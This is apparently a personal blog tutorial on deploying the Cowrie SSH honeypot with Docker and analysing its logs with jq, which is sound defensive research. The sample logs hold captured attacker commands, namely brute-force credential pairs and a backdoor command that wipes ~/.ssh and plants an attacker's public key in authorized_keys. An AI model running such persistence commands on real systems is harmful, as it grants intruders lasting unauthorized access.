Hack the Hacker - How to Setup an SSH Honeypot

What’s a Honeypot :

A honeypot detects and records attacks when an attacker tries to break into a system.

The honeypot we will discuss here is an SSH honeypot.

Prephase

This article comes after the one I posted about running an SSH Honeypot for 30 days in the wild, the article did some good noise and I got a lot of messages asking to show how I setup and configured this SSH Honeypot.

The previous article :

Sofiane’s Blog - What You Get After Running an SSH Honeypot for 30 Days

r/CyberSecurity Reddit

YCombinator Hacker News

Requirments

We’ll setup this on a normal VPS without any specific pre-configuration.

[IMPORTANT]
This setup is for research and testing, So please don’t setup this in your local network or personal/professional usage network.

VPS

It’s up to you to choose and find the VPS provider that fits you the best.

Cowrie Honeypot

There are several famous SSH honeypots, but the one we’re going to use is called Cowrie.

It is an improved version of the famous honeypot called Kippo.

Docker

For this installation, we will use the Docker image of Cowrie.

For that you’ll need docker to be installed on the new VPS, you can check the Official Docker Documentation to install.

Packages to install

  • python3
  • wget

Configuration

I typically change the default SSH port on my servers or machines.

One method I prefer is setting the real SSH port to something like 2022. Then, I configure the honeypot to listen on the default SSH port, 22.

Installation

By default, Cowrie is configured to listen on port 2222. We will map this port in the Docker container to port 22 on our host. This setup allows us to redirect all scanning bots and attackers to our honeypot seamlessly.

Creating, configuring and using cowrie user :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
> sudo adduser --disabled-password cowrie #Adding the user
Adding user 'cowrie' ...
Adding new group 'cowrie' (1002) ...
Adding new user 'cowrie' (1002) with group 'cowrie' ...
Changing the user information for cowrie
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n]

> sudo usermod -aG docker cowrie #Adding the cowrie to the docker group

> sudo su - cowrie #Switching into cowrie

Before proceeding, we’ll first create folders within our VPS directories to store all the logs, ensuring they are accessible directly rather than within the container.

Additionally, we’ll set up the “cowrielog” & “cowrietty” folders with read-write permissions for everyone.

1
2
> mkdir cowrielog && mkdir cowrietty
> chmod -R a+rw cowrielog/ cowrietty/

And we start our Cowrie Honeypot :

1
> docker run --name cowrie -p 22:2222 -v /home/cowrie/cowrielog:/cowrie/cowrie-git/var/log/cowrie/ -v /home/cowrie/cowrietty:/cowrie/cowrie-git/var/lib/cowrie/tty cowrie/cowrie:latest
1
2
3
4
5
6
7
8
9
10
11
12
2024-06-17T14:47:28+0000 [-] Python Version 3.11.2 (main, Mar 13 2023, 12:18:29) [GCC 12.2.0]
2024-06-17T14:47:28+0000 [-] Twisted Version 24.3.0
2024-06-17T14:47:28+0000 [-] Cowrie Version 2.5.0
2024-06-17T14:47:28+0000 [-] Loaded output engine: jsonlog
2024-06-17T14:47:28+0000 [twisted.scripts._twistd_unix.UnixAppLogger#info] twistd 24.3.0 (/cowrie/cowrie-env/bin/python3 3.11.2) starting up.
2024-06-17T14:47:28+0000 [twisted.scripts._twistd_unix.UnixAppLogger#info] reactor class: twisted.internet.epollreactor.EPollReactor.
2024-06-17T14:47:28+0000 [-] CowrieSSHFactory starting on 2222
2024-06-17T14:47:28+0000 [cowrie.ssh.factory.CowrieSSHFactory#info] Starting factory <cowrie.ssh.factory.CowrieSSHFactory object at 0x7c4c73951b10>
2024-06-17T14:47:28+0000 [-] Generating new RSA keypair...
2024-06-17T14:47:28+0000 [-] Generating new ECDSA keypair...
2024-06-17T14:47:28+0000 [-] Generating new ed25519 keypair...
2024-06-17T14:47:28+0000 [-] Ready to accept SSH connections

Analysing the logs

For the log file you’ll find it at ~/cowrielog, and the tty replay logs at ~/cowrietty

Using Linux commands

For filtering and organizing the output, you can use the jq command. This tool allows you to precisely extract the information you need from JSON data.

Using JSON for log files offers significant advantages in terms of structure, readability, handling, resilience, and observability. These benefits make JSON an ideal choice for logging in modern software development and operational practices.

To get all the login attempts :

1
2
> jq '.| select(.eventid | startswith("cowrie.login"))' cowrie.json

Output example :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
{
"eventid": "cowrie.login.failed",
"username": "tserver",
"password": "tserver",
"message": "login attempt [tserver/tserver] failed",
"sensor": "8caf2d7e4943",
"timestamp": "2024-06-17T14:56:07.547278Z",
"src_ip": "59.24.160.227",
"session": "6530ab02251d"
}
{
"eventid": "cowrie.login.failed",
"username": "student02",
"password": "student02",
"message": "login attempt [student02/student02] failed",
"sensor": "8caf2d7e4943",
"timestamp": "2024-06-17T14:56:12.223248Z",
"src_ip": "59.24.160.227",
"session": "56b69171281c"
}
{
"eventid": "cowrie.login.failed",
"username": "vyos",
"password": "vyos",
"message": "login attempt [vyos/vyos] failed",
"sensor": "8caf2d7e4943",
"timestamp": "2024-06-17T14:56:16.560385Z",
"src_ip": "59.24.160.227",
"session": "c0fcc16bedfc"
}

To get all the passed login attempts :

1
> jq '. | select(.eventid == "cowrie.login.success")' cowrie.json

Output example :

1
2
3
4
5
6
7
8
9
10
{
"eventid": "cowrie.login.success",
"username": "root",
"password": "Passw0rd",
"message": "login attempt [root/Passw0rd] succeeded",
"sensor": "8caf2d7e4943",
"timestamp": "2024-06-17T14:53:39.274245Z",
"src_ip": "141.98.10.106",
"session": "d5c5f7b97455"
}

To get all the failed login attempts :

1
> jq '. | select(.eventid == "cowrie.login.failed")' cowrie.json

Output example :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
{
"eventid": "cowrie.login.failed",
"username": "vsftp",
"password": "vsftp",
"message": "login attempt [vsftp/vsftp] failed",
"sensor": "8caf2d7e4943",
"timestamp": "2024-06-17T14:55:55.663982Z",
"src_ip": "59.24.160.227",
"session": "164c6534c698"
}
{
"eventid": "cowrie.login.failed",
"username": "yangjie",
"password": "yangjie",
"message": "login attempt [yangjie/yangjie] failed",
"sensor": "8caf2d7e4943",
"timestamp": "2024-06-17T14:55:59.626399Z",
"src_ip": "59.24.160.227",
"session": "809749c9eba7"
}
{
"eventid": "cowrie.login.failed",
"username": "pedro",
"password": "pedro",
"message": "login attempt [pedro/pedro] failed",
"sensor": "8caf2d7e4943",
"timestamp": "2024-06-17T14:56:03.966702Z",
"src_ip": "59.24.160.227",
"session": "b9bee41ed3d2"
}

To get the number of login attempts :

1
2
3
> cat cowrie.json| grep "cowrie.login" | wc -l

12419

To get the number of passed login attempts :

1
2
3
> cat cowrie.json| grep "cowrie.login.success" | wc -l

379

To get the number of failed login attempts :

1
2
3
> cat cowrie.json| grep "cowrie.login.failed" | wc -l

12040

To get the Source IP addresses :

1
2
3
4
5
6
7
8
9
10
11
12
> jq '.src_ip' cowrie.json

"141.98.10.106"
"141.98.10.106"
"141.98.10.106"
"141.98.10.106"
"59.24.160.227"
"59.24.160.227"
"59.24.160.227"
"59.24.160.227"
"59.24.160.227"
"59.24.160.227"

Checking the executed commands

By filtering the log file

1
> jq '. | select(.eventid == "cowrie.command.input")' cowrie.json

Output example :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

{
"eventid": "cowrie.command.input",
"input": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"message": "CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh",
"sensor": "2c091cd328dc",
"timestamp": "2024-06-18T00:38:20.746663Z",
"src_ip": "121.156.118.253",
"session": "22e1e1e98a94"
}
{
"eventid": "cowrie.command.input",
"input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"sensor": "2c091cd328dc",
"timestamp": "2024-06-18T00:38:21.702641Z",
"src_ip": "121.156.118.253",
"session": "22e1e1e98a94"
}
{
"eventid": "cowrie.command.input",
"input": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"message": "CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh",
"sensor": "2c091cd328dc",
"timestamp": "2024-06-18T00:40:21.541909Z",
"src_ip": "95.85.47.10",
"session": "020967259efb"
}
{
"eventid": "cowrie.command.input",
"input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"sensor": "2c091cd328dc",
"timestamp": "2024-06-18T00:40:21.676392Z",
"src_ip": "95.85.47.10",
"session": "020967259efb"
}
{
"eventid": "cowrie.command.input",
"input": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"message": "CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh",
"sensor": "2c091cd328dc",
"timestamp": "2024-06-18T00:41:28.715153Z",
"src_ip": "101.32.128.77",
"session": "31d76f7f481c"
}
{
"eventid": "cowrie.command.input",
"input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"sensor": "2c091cd328dc",
"timestamp": "2024-06-18T00:41:29.412566Z",
"src_ip": "101.32.128.77",
"session": "31d76f7f481c"
}

By using Cowrie playlog to replay session logs

Using playlog, you’ll get a replay of the tty session and what commands were executed in it.

1
2
3
4
> cd ~/cowrietty && wget https://raw.githubusercontent.com/cowrie/cowrie/master/src/cowrie/scripts/playlog.py

> python3 playlog.py <SESSION ID>

Example input and output :

1
2
3
4
> python3 playlog.py cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Going deeper ?

You can configure Cowrie with Log Monitoring tools, you can find the configuration and installation of that on the official Cowrie Documentation

🔗 Connect with me

        

© 2024 — Sofiane Hamlaooui — Making the world a better place 🌎